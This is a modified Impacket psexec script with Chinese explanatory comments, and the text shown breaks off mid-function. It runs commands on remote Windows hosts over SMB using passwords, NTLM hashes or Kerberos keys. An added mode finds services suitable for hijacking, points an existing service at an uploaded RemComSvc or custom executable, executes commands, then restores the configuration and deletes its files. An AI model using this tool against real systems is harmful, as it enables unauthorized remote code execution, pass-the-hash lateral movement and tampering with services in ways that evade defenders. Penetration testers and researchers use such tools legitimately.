psexec2.py

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
#
# Author:
#   beto (@agsolino)
#
# Reference for:
#   DCE/RPC and SMB.
#

import sys
import os
import re
import cmd
import logging
from threading import Thread, Lock
import argparse
import random
import string
import time
from six import PY3

from impacket.examples import logger
from impacket import version, smb, LOG
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, scmr
from impacket.structure import Structure
from impacket.examples import remcomsvc, serviceinstall, servicechange
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab

CODEC = sys.stdout.encoding
# 输出字符报错处理

class RemComMessage(Structure):
    structure = (
        ('Command','4096s=""'),
        ('WorkingDir','260s=""'),
        ('Priority','<L=0x20'),
        ('ProcessID','<L=0x01'),
        ('Machine','260s=""'),
        ('NoWait','<L=0'),
    )
    # 一个结构类体
    # Structure：这是 Impacket 提供的基类，可以定义 C 风格的二进制结构体。
    # structure：一个元组，里面定义了字段名、数据类型、默认值。
    # 远程命令消息的“封装格式”。

class RemComResponse(Structure):
    structure = (
        ('ErrorCode','<L=0'),
        ('ReturnCode','<L=0'),
    )
    # 响应结构体

RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
# RemComSTDOUT → 远程进程的 标准输出 管道。
# RemComSTDIN → 远程进程的 标准输入 管道。
# RemComSTDERR → 远程进程的 标准错误 管道。

lock = Lock()
# 线程锁对象。防止多个进程同时改写数据
class PSEXEC:
    def __init__(self, command, path, exeFile, copyFile, port=445,
                 username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None,
                 remoteBinaryName=None, service_list=False, service_change=None):
        self.__username = username
        self.__password = password
        self.__port = port
        self.__command = command
        self.__path = path
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__exeFile = exeFile
        self.__copyFile = copyFile
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.__serviceName = serviceName
        self.__remoteBinaryName = remoteBinaryName
        self.__service_list = service_list
        self.__service_change = service_change
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')
# 定义了psexec类 吸收了参数并存入对象方便后续方法使用


    def run(self, remoteName, remoteHost):
        # Handle service list functionality
        if self.__service_list:
            return self.listServices(remoteName, remoteHost)
        
        # Handle service hijacking functionality
        if self.__service_change is not None:
            return self.executeViaServiceHijacking(remoteName, remoteHost)
        
        # Original psexec functionality
        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
        logging.debug('StringBinding %s'%stringbinding)
        # 先传入远程主机名称或者ip等，之后定义通过smb命名管道连接此机器的服务控制管理器

        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        # 根据上面的绑定字符串返回合适的dce/rpc传输对象
        rpctransport.set_dport(self.__port)
        # 设置目标端口
        rpctransport.setRemoteHost(remoteHost)
        # 指定实际要连接的远程主机ip
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
                                         self.__nthash, self.__aesKey)
            #检查是否存在set_credentials方法，如果支持需要认证，则将所有凭据传入

        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
        # 如果self.__doKerberos=True，则使用kerbores认证
        self.doStuff(rpctransport)
        # 这里交给类里的另一个方法 doStuff，把准备好的传输对象传进去

    def openPipe(self, s, tid, pipe, accessMask):
        # s → 已经建立的 SMBConnection 对象。
        # tid → 共享资源的 ID（Tree ID），由 SMB 打开共享返回。
        # pipe → 命名管道名称，例如 "\\pipe\\RemCom_stdout"。
        # accessMask → 文件/管道的访问权限（读、写、读写）
        pipeReady = False
        tries = 50
        while pipeReady is False and tries > 0:
            try:
                s.waitNamedPipe(tid,pipe)
                pipeReady = True
            except:
                tries -= 1
                time.sleep(2)
                pass
            # s.waitNamedPipe(tid, pipe) → 阻塞调用，等待远程管道就绪。尝试连接至多50次，每次失败后等待两秒

        if tries == 0:
            raise Exception('Pipe not ready, aborting')
        # 如果 50 次都没成功，抛出异常，中止操作。
        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
        # s.openFile → SMB 文件/管道操作，返回 文件句柄 (FID, File ID)。
        # 参数说明：
        # creationOption = 0x40 → FILE_OPEN_IF：如果存在就打开，否则报错。
        # fileAttributes = 0x80 → FILE_ATTRIBUTE_NORMAL：普通文件属性。

        return fid
    # 返回可以用于后续 读/写管道数据 的文件句柄。

    def listServices(self, remoteName, remoteHost):
        """List all services and mark suitable ones for hijacking"""
        LOG.info("Listing services on %s" % remoteHost)
        
        try:
            # Create SMB connection
            stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.__port)
            rpctransport.setRemoteHost(remoteHost)
            
            if hasattr(rpctransport, 'set_credentials'):
                rpctransport.set_credentials(self.__username, self.__password, self.__domain, 
                                           self.__lmhash, self.__nthash, self.__aesKey)
            
            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
            
            # Create SMB connection for service changer
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            smb_connection = rpctransport.get_smb_connection()
            
            # Create service changer
            service_changer = servicechange.ServiceChanger(smb_connection, remoteHost)
            
            # Get all services
            services = service_changer.listAllServices()
            
            # Filter only suitable services
            suitable_services = [s for s in services if s.is_suitable]
            
            if not suitable_services:
                print("\n" + "="*120)
                print("NO SUITABLE SERVICES FOUND FOR HIJACKING")
                print("="*120)
                return True
            
            # Print header
            print("\n" + "="*120)
            print("SUITABLE SERVICES FOR HIJACKING - %s" % remoteHost)
            print("="*120)
            print("%-30s %-15s %-15s %-15s %-20s" % 
                  ("SERVICE NAME", "START TYPE", "STATUS", "ACCOUNT", "PRIORITY"))
            print("-"*120)
            
            # Sort services by priority (lower number = higher priority)
            suitable_services.sort(key=lambda x: x.priority)
            
            # Print only suitable services
            for service in suitable_services:
                start_type_map = {
                    1: "BOOT",
                    2: "SYSTEM", 
                    3: "MANUAL",
                    4: "DISABLED"
                }
                start_type_str = start_type_map.get(service.start_type, "UNKNOWN")
                
                print("%-30s %-15s %-15s %-15s %-20s" % 
                      (service.service_name[:30], start_type_str, "STOPPED", 
                       service.start_name[:15] if service.start_name else "N/A",
                       str(service.priority)))
            
            print("="*120)
            print("Total suitable services: %d" % len(suitable_services))
            print("="*120)
            
            return True
            
        except Exception as e:
            LOG.critical("Error listing services: %s" % str(e))
            return False

    def executeViaServiceHijacking(self, remoteName, remoteHost):
        """Execute command via service hijacking"""
        LOG.info("Executing command via service hijacking: %s" % self.__command)
        
        try:
            # Create SMB connection
            stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.__port)
            rpctransport.setRemoteHost(remoteHost)
            
            if hasattr(rpctransport, 'set_credentials'):
                rpctransport.set_credentials(self.__username, self.__password, self.__domain, 
                                           self.__lmhash, self.__nthash, self.__aesKey)
            
            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
            
            # Create SMB connection for service changer
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            smb_connection = rpctransport.get_smb_connection()
            
            # Create service changer
            service_changer = servicechange.ServiceChanger(smb_connection, remoteHost)
            
            # Find suitable service or use specified one
            if self.__service_change:
                # Use specified service
                LOG.info("Using specified service: %s" % self.__service_change)
                service_name = self.__service_change
                
                # Verify service exists and is suitable
                scm_handle = service_changer.openSvcManager()
                service_info = service_changer.getServiceInfo(service_name, scm_handle)
                scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle)
                
                if not service_info.service_name:
                    LOG.critical("Service %s not found" % service_name)
                    return False
                
                if not service_changer.isServiceSuitable(service_info):
                    LOG.critical("Service %s is not suitable: %s" % (service_name, service_info.reason))
                    return False
            else:
                # Find a suitable service automatically
                LOG.info("Looking for suitable service...")
                service_info = service_changer.findSuitableService()
                if not service_info:
                    LOG.critical("No suitable service found for hijacking")
                    return False
                service_name = service_info.service_name
            
            LOG.info("Selected service for hijacking: %s" % service_name)
            
            # Step 1: Prepare service hijacking (restore original config first, then backup)
            LOG.info("Preparing service hijacking...")
            
            # First, try to restore service to original state if it was previously hijacked
            LOG.info("Checking if service needs restoration to original state...")
            try:
                # Get current service info to check if it's been hijacked
                scm_handle = service_changer.openSvcManager()
                current_info = service_changer.getServiceInfo(service_name, scm_handle)
                scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle)
                if current_info.binary_path_name and ('RemCom' in current_info.binary_path_name or not current_info.binary_path_name.endswith('.exe') or 'alg.exe' not in current_info.binary_path_name.lower()):
                    LOG.info("Service appears to be hijacked, attempting to restore original configuration...")
                    # Try to restore using a default configuration
                    from impacket.examples.servicechange import ServiceInfo
                    default_config = ServiceInfo()
                    default_config.binary_path_name = "C:\\Windows\\System32\\alg.exe" if service_name == "ALG" else "C:\\Windows\\system32\\ntfrs.exe" if service_name == "NtFrs" else "C:\\Windows\\system32\\vssvc.exe" if service_name == "VSS" else "C:\\Windows\\system32\\SearchIndexer.exe" if service_name == "WSearch" else "C:\\Windows\\System32\\snmptrap.exe" if service_name == "SNMPTRAP" else "C:\\Windows\\system32\\locator.exe" if service_name == "RpcLocator" else ""
                    default_config.start_type = 3  # MANUAL
                    default_config.start_name = "NT AUTHORITY\\LocalService" if service_name in ["ALG", "SNMPTRAP"] else "LocalSystem"
                    service_changer.restoreServiceConfig(service_name, default_config)
                    LOG.info("Service restored to default configuration")
            except Exception as e:
                LOG.debug("Could not restore service to original state: %s" % str(e))
            
            # Now backup the (hopefully) original configuration
            original_config = service_changer.backupServiceConfig(service_name)
            
            # Upload RemComSvc file (use custom file if specified)
            from impacket.examples import serviceinstall
            
            # Determine which executable to use
            if self.__exeFile is not None:
                # Use custom file specified with -file parameter
                LOG.info("Using custom executable: %s" % self.__exeFile)
                try:
                    exe_file = open(self.__exeFile, 'rb')
                except Exception as e:
                    LOG.critical("Error opening custom executable %s: %s" % (self.__exeFile, str(e)))
                    return False
                installService = serviceinstall.ServiceInstall(service_changer.connection, exe_file, service_name, self.__remoteBinaryName)
                remcom_filename = installService.binaryServiceName
                service_changer.uploadFile(exe_file, "System32\\" + remcom_filename)
            else:
                # Use default RemComSvc
                LOG.info("Using default RemComSvc executable")
                installService = serviceinstall.ServiceInstall(service_changer.connection, remcomsvc.RemComSvc(), service_name, self.__remoteBinaryName)
                remcom_svc = remcomsvc.RemComSvc()
                remcom_filename = installService.binaryServiceName
                service_changer.uploadFile(remcom_svc, "System32\\" + remcom_filename)
            
            # Handle -c parameter (copy file and modify command)
            if self.__copyFile is not None:
                LOG.info("Copying file for execution: %s" % self.__copyFile)
                try:
                    # Copy the file to target
                    service_changer.uploadFile(open(self.__copyFile, 'rb'), "System32\\" + os.path.basename(self.__copyFile))
                    # Modify command to use the copied file
                    self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
                    LOG.info("Modified command to: %s" % self.__command)
                except Exception as e:
                    LOG.critical("Error copying file %s: %s" % (self.__copyFile, str(e)))
                    return False
            
            # Hijack service with RemComSvc
            full_remcom_path = "C:\\Windows\\System32\\" + remcom_filename
            if not service_changer.hijackService(service_name, full_remcom_path):
                LOG.critical("Failed to hijack service")
                return False
            
            LOG.info("Service hijacked successfully, now executing command...")
            
            # Step 2: Execute command through hijacked service
            # The service is already hijacked with RemComSvc, now we need to communicate with it
            LOG.info("Executing command through hijacked service...")
            
            # Create SMB connection for communication
            stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.__port)
            rpctransport.setRemoteHost(remoteHost)
            if hasattr(rpctransport, 'set_credentials'):
                rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
                                           self.__nthash, self.__aesKey)
            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
            
            # Execute command through the hijacked service using doStuff logic
            # but skip the service installation part since we already hijacked a service
            self.executeCommandViaHijackedService(rpctransport, service_changer, service_name)
            
            # Step 3: Restore original service configuration
            LOG.info("Restoring original service configuration...")
            LOG.info("Original config - Binary Path: %s" % original_config.binary_path_name)
            LOG.info("Original config - Start Type: %d" % original_config.start_type)
            LOG.info("Original config - Start Name: %s" % original_config.start_name)
            if not service_changer.restoreServiceConfig(service_name, original_config):
                LOG.warning("Failed to restore service configuration")
            else:
                LOG.info("Service configuration restored successfully")
            
            # Cleanup uploaded files
            service_changer.cleanupFiles()
            
            # Cleanup -c parameter file if used
            if self.__copyFile is not None:
                try:
                    LOG.info("Cleaning up copied file: %s" % os.path.basename(self.__copyFile))
                    service_changer.connection.deleteFile("ADMIN$", "System32\\" + os.path.basename(self.__copyFile))
                except Exception as e:
                    LOG.warning("Failed to cleanup copied file: %s" % str(e))
            
            return True
            
        except Exception as e:
            LOG.critical("Error executing via service hijacking: %s" % str(e))
            return False

    def executeCommandViaHijackedService(self, rpctransport, service_changer, service_name):
        """Execute command through already hijacked service"""
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.critical(str(e))
            sys.exit(1)

        global dialect
        dialect = rpctransport.get_smb_connection().getDialect()
        
        try:
            s = rpctransport.get_smb_connection()
            s.setTimeout(100000)
            
            # Connect to IPC$ and open communication pipe
            tid = s.connectTree('IPC$')
            fid_main = self.openPipe(s, tid, r'\RemCom_communicaton', 0x12019f)
            
            # Create command message
            packet = RemComMessage()
            pid = os.getpid()
            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
            if self.__path is not None:
                packet['WorkingDir'] = self.__path
            packet['Command'] = self.__command
            packet['ProcessID'] = pid

            # Send command to hijacked service
            s.writeNamedPipe(tid, fid_main, packet.getData())

            global LastDataSent
            LastDataSent = ''

            # Start communication pipes
            stdin_pipe = RemoteStdInPipe(rpctransport,
                                       r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
                                       smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, None)
            stdin_pipe.start()
            stdout_pipe = RemoteStdOutPipe(rpctransport,
                                         r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
                                         smb.FILE_READ_DATA)
            stdout_pipe.start()
            stderr_pipe = RemoteStdErrPipe(rpctransport,
                                         r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
                                         smb.FILE_READ_DATA)
            stderr_pipe.start()

            # Wait for response
            ans = s.readNamedPipe(tid, fid_main, 8)
            if len(ans):
                retCode = RemComResponse(ans)
                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
                
                # Stop the hijacked service after command execution
                logging.info("Stopping hijacked service after command execution...")
                if not service_changer.stopService(service_name):
                    logging.warning("Failed to stop hijacked service")
                
                sys.exit(retCode['ErrorCode'])

        except SystemExit:
            raise
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.debug(str(e))
            sys.stdout.flush()
            sys.exit(1)

    def doStuff(self, rpctransport):

        dce = rpctransport.get_dce_rpc()
        # 获取一个 DCE/RPC 对象，用来和目标 Windows 服务进行 RPC 调用。
        try:
            dce.connect()
            # 发起连接尝试，如果目标不可达或者管道出错，会抛异常。
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.critical(str(e))
            sys.exit(1)
            # 这一步就是建立与远程 SCM 的 RPC 通道，如果连不上就直接失败退出。

        global dialect
        dialect = rpctransport.get_smb_connection().getDialect()
        # get_smb_connection() → 从 DCE/RPC 传输对象中获取底层 SMB 连接对象。
        # getDialect() → 获取 SMB 协议版本（例如 SMB1、SMB2、SMB3）。
        # 存到全局变量 dialect，后续在写管道或文件操作时可能会根据 SMB 协议做兼容处理

        try:
            unInstalled = False
            # unInstalled → 标记安装的服务是否已经卸载，用于异常处理时清理。
            s = rpctransport.get_smb_connection()
            # s → 获取 SMB 连接对象，用于后续文件操作、管道操作。
            s.setTimeout(100000)
            # s.setTimeout(100000) → 将 SMB 操作超时设置成很大，避免网络延迟导致操作中断。
            if self.__exeFile is None:
                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName)
                # 如果 self.__exeFile参数为空，则默认使用内置 remcomsvc.exe。注册服务
            else:
                try:
                    f = open(self.__exeFile, 'rb')
                    # 如果传入了self.__exeFile参数则尝试打开
                except Exception as e:
                    logging.critical(str(e))
                    sys.exit(1)
                    # 打不开记录错误并退出
                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f, self.__serviceName, self.__remoteBinaryName)
                # 打的开则直接使用传入的exe进行注册服务
            if installService.install() is False:
                return
            # 如果安装失败，直接返回，不继续执行命令。

            if self.__exeFile is not None:
                f.close()
                # 如果使用了自定义 exe 文件，记得关闭本地文件句柄，防止资源泄露。

            # 检查是否需要复制文件以供执行
            if self.__copyFile is not None:
                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
                # 我们将要执行的命令更改为此文件名
                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
            # 如果用户指定了额外的文件需要上传执行：
            # copy_file → 上传到远程共享（通常是 C$ 或服务安装的共享目录）。
            # 把 self.__command 改成只执行上传的文件（保证远程执行时可以找到文件）。
            tid = s.connectTree('IPC$')
            fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
            # openPipe → 前面解释过的方法，打开主通信管道 \RemCom_communicaton，返回文件句柄。
            # 访问掩码 0x12019f：表示SMB 文件权限，表示可读、可写、可执行操作。
            packet = RemComMessage()
            pid = os.getpid()
            # 新建请求消息对象

            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
            # Machine → 随机 4 个字母，用于命名管道区分不同进程。
            if self.__path is not None:
                packet['WorkingDir'] = self.__path
                # WorkingDir → 如果用户指定，设置工作目录。
            packet['Command'] = self.__command
            # Command → 要执行的命令。
            packet['ProcessID'] = pid
            # 本地进程 PID，用于命名管道标识（保证唯一性）

            s.writeNamedPipe(tid, fid_main, packet.getData())
            # 将打包好的 RemComMessage 二进制数据写入管道，发送到远程服务。


            global LastDataSent
            LastDataSent = ''
            # 用于存储命令输入，防止在 stdout/stderr 中重复打印自己输入的命令。这里是清空初始化。

            stdin_pipe = RemoteStdInPipe(rpctransport,
                                         r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
            stdin_pipe.start()
            stdout_pipe = RemoteStdOutPipe(rpctransport,
                                           r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
                                           smb.FILE_READ_DATA)
            stdout_pipe.start()
            stderr_pipe = RemoteStdErrPipe(rpctransport,
                                           r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
                                           smb.FILE_READ_DATA)
            stderr_pipe.start()
            # 分别启动 标准输入、输出、错误 的线程。，每个线程负责异步读取/写入对应管道，保证命令交互实时。
            ans = s.readNamedPipe(tid,fid_main,8)

            if len(ans):
                retCode = RemComResponse(ans)
                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
                # readNamedPipe → 阻塞读取远程管道，等待 8 字节响应。
                # 使用 RemComResponse 解包：
                # ErrorCode → 服务执行状态
                # ReturnCode → 命令退出码
                # 输出日志，显示命令执行结果。

            installService.uninstall()
            if self.__copyFile is not None:
                # We copied a file for execution, let's remove it
                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
            unInstalled = True
            sys.exit(retCode['ErrorCode'])
            # 卸载刚才安装的临时服务。
            # 如果上传了执行文件，删除它。
            # 标记 unInstalled = True → 异常处理时就不用重复卸载
            # 退出程序并返回 ErrorCode。

        except SystemExit:
            raise
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.debug(str(e))
            if unInstalled is False:
                installService.uninstall()
                if self.__copyFile is not None:
                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
            sys.stdout.flush()
            sys.exit(1)
            #区分 SystemExit → 直接重新抛出，保留退出行为。
            # 捕获其他异常：
            # 打印 DEBUG traceback（如果调试等级开启）
            # 卸载服务并删除临时文件（保证清理，不留痕迹）
            # 刷新 stdout
            # 退出程序，返回错误码 1

            # 总结 doStuff 执行流程
            # 建立 RPC 连接 → 远程 SCM
            # 获取 SMB 协议版本
            # 准备远程服务（内置 remcomsvc 或自定义 exe）
            # 上传 exe 并安装服务
            # 上传额外执行文件（可选）
            # 打开 IPC$ 树与主通信管道
            # 构建 RemComMessage（命令 + 工作目录 + 随机机器 ID）
            # 发送消息到管道
            # 启动 stdin/stdout/stderr 管道线程
            # 阻塞等待 RemComResponse（获取 ErrorCode 和 ReturnCode）
            # 卸载服务并删除临时文件
            # 异常捕获 → 清理资源 → 程序退出


class Pipes(Thread):
    # Pipes 继承自 Python 的 Thread 
    # 说明每个 Pipes 实例都是一个线程，可以并行运行
    # 用于异步处理管道通信，不会阻塞主线程
    def __init__(self, transport, pipe, permissions, share=None):
        # transport → DCE/RPC 传输对象，用于获取 SMB 连接和认证信息
        # pipe → 要操作的命名管道名称，例如 \RemCom_stdoutXXXXpid
        # permissions → 管道访问权限（读/写/追加等）
        # share → 可选的远程共享（默认 None），在某些操作中用到
        Thread.__init__(self)
        # 调用父类初始化方法，确保线程能正确启动
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.daemon = True
        # server	初始为 0，可能后续存放远程服务对象或 SMB 连接对象
        # transport	保存传入的 DCE/RPC 传输对象
        # credentials	从 transport 获取凭据（用户名、hash、AES key 等）
        # tid	Tree ID，打开远程共享返回的 ID，初始为 0
        # fid	文件/管道句柄（File ID），初始为 0
        # share	远程共享名称，可选，用于某些文件操作
        # port	远程端口号（默认 445）
        # pipe	管道名称
        # permissions	管道访问权限，例如读取/写入/追加
        # daemon	True → 线程是守护线程，主程序退出时自动结束线程

    def connectPipe(self):
        # 负责在客户端与远程服务之间建立 SMB 命名管道连接
        # 线程启动后通常会首先调用这个方法
        try:
            lock.acquire()
            # lock 是全局锁
            # 避免多个管道线程同时创建 SMB 连接导致竞争条件
            # 例如多个线程同时尝试登录同一个远程主机
            global dialect
            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
            self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),
                                        sess_port=self.port, preferredDialect=dialect)
            # 新建一个 SMB 连接对象 self.server参数：
            # getRemoteName() → 远程主机 NetBIOS 名称
            # getRemoteHost() → 远程 IP 地址
            # sess_port → SMB 端口（默认为 445）
            # preferredDialect → 使用全局 SMB 协议版本（dialect）
            # 注释掉的代码是以前的占位方式 '*SMBSERVER'，现在改成用远程实际名字

            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
            else:
                self.server.login(user, passwd, domain, lm, nt)
                # 从 self.credentials 解包用户认证信息
                #支持两种认证方式：
                # Kerberos → kerberosLogin()
                # NTLM/普通 SMB → login()
            lock.release()
            # SMB 连接完成后释放全局锁
            self.tid = self.server.connectTree('IPC$')
            # IPC$ 是 Windows 内置管理共享

            self.server.waitNamedPipe(self.tid, self.pipe)
            # 阻塞等待管道被创建
            # 例如 \RemCom_stdoutXXXXpid 或 \RemCom_stdinXXXXpid
            # 如果管道还没创建，会阻塞直到可用
            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
            # 打开管道并返回文件句柄（fid）参数：
            # creationOption=0x40 → FILE_OPEN_IF
            # fileAttributes=0x80 → FILE_ATTRIBUTE_NORMAL
            self.server.setTimeout(1000000)
            # 设置 SMB 操作超时为非常大防止网络超时
        except:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
            # 捕获所有异常
            # DEBUG 模式打印详细 tracebac
            # 记录日志错误，但 不会抛异常退出线程
            # 线程可能会在后续循环尝试重连管道

            #总结connectPipe 做了以下事情：
            # 获取线程锁，避免 SMB 登录竞争
            # 建立 SMB 连接并登录（NTLM 或 Kerberos）
            # 连接 IPC$ 树
            # 等待并打开指定管道
            # 设置超大超时保证读写稳定
            # 异常时记录日志，线程可重试

class RemoteStdOutPipe(Pipes):
    def __init__(self, transport, pipe, permisssions):
        Pipes.__init__(self, transport, pipe, permisssions)

    def run(self):
        self.connectPipe()

        # RemoteStdOutPipe 继承自前面你给的 Pipes 基类，Pipes.connectPipe() 会：
        # 用全局 lock 建立一个新的 SMBConnection（登录/kerberos），
        # connectTree('IPC$') 获取 tid，waitNamedPipe 等待命名管道就绪，openFile 获取 fid，
        # 并把 self.server、self.tid、self.fid 等准备好。
        # 所以 self.connectPipe() 结束后，这个线程已经有了可读的管道文件句柄 self.fid，可以调用 self.server.readFile(self.tid, self.fid, ...) 去读远端 stdout。

        global LastDataSent
        # LastDataSent 是一个 全局变量（主线程/RemoteShell 中设置）。作用：避免把自己发送给远端（即 send_data() 写入管道的数据）再原样回显到本地终端（防止把命令两次显示）。
        if PY3:
            __stdoutOutputBuffer, __stdoutData = b"", b""
            # __stdoutOutputBuffer：用来累计从管道读到的原始 bytes（可能是半行）
            # __stdoutData：待输出（经判断后要打印的完整行或 prompt）

            while True:
                try:
                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        if stdout_ans != LastDataSent:
                            if len(stdout_ans) != 0:
                                # Append new data to the buffer while there is data to read
                                __stdoutOutputBuffer += stdout_ans
                                # 限循环，持续读取管道：
                                # readFile(..., 1024)：尝试读取最多 1024 bytes（这取决于远端写入的块大小）。如果没有数据，会抛异常或返回空（实现依赖于 Impacket 的 readFile 实现及超时），异常被吞掉（except: pass），线程继续循环 —— 这样能在远端没有输出时保持存活。
                                # if stdout_ans != LastDataSent:：关键：如果刚好读到的是刚刚写入到 stdin 的那批字节（避免把自己输入再次回显），就跳过；否则把数据累加到 __stdoutOutputBuffer

                        promptRegex = rb'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'

                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
                        if endsWithPrompt == True:
                            # All data, we shouldn't have encoding errors
                            # Adding a space after the prompt because it's beautiful
                            __stdoutData = __stdoutOutputBuffer + b" "
                            # Remainder data for next iteration
                            __stdoutOutputBuffer = b""
                            # 尝试识别 Windows 命令提示符（例如 C:\Users\Admin> 或 C:\>）作为“本次输出已经完整”的标志。

                            # print("[+] endsWithPrompt")
                            # print(" | __stdoutData:",__stdoutData)
                            # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
                        elif b'\n' in __stdoutOutputBuffer:
                            # We have read a line, print buffer if it is not empty
                            lines = __stdoutOutputBuffer.split(b"\n")
                            # All lines, we shouldn't have encoding errors
                            __stdoutData = b"\n".join(lines[:-1]) + b"\n"
                            # Remainder data for next iteration
                            __stdoutOutputBuffer = lines[-1]
                            # print("[+] newline in __stdoutOutputBuffer")
                            # print(" | __stdoutData:",__stdoutData)
                            # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
                            # 如果缓冲区包含换行符，说明至少有一行完整行可输出：

                        if len(__stdoutData) != 0:
                            # There is data to print
                            try:
                                sys.stdout.write(__stdoutData.decode(CODEC))
                                sys.stdout.flush()
                                __stdoutData = b""
                            except UnicodeDecodeError:
                                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
                                              'again with -codec and the corresponding codec')
                                print(__stdoutData.decode(CODEC, errors='replace'))
                                __stdoutData = b""
                                # 使用 __stdoutData.decode(CODEC) 把 bytes 解为 Python 字符串（文本），然后写入主进程的 sys.stdout
                        else:
                            # Don't echo the command that was sent, and clear it up
                            LastDataSent = b""
                            # 没有输出要打印时，把 LastDataSent 清空。意思是下一轮再收到与之前发送的数据相同的字节就不会被忽略（避免死等）。这是用于“不回显自己输入”的逻辑清理。
                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                        # it will give false positives tho.. we should find a better way to handle this.
                        # if LastDataSent > 10:
                        #     LastDataSent = ''
                    except:
                        pass
                    # 捕获并吞掉处理阶段的任何异常（例如正则异常、索引越界、decode 中未预见的异常），让线程保持存活并继续循环。
        else:
            __stdoutOutputBuffer, __stdoutData = "", ""

            while True:
                try:
                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
                except:
                    pass
                else:
                    try:
                        if stdout_ans != LastDataSent:
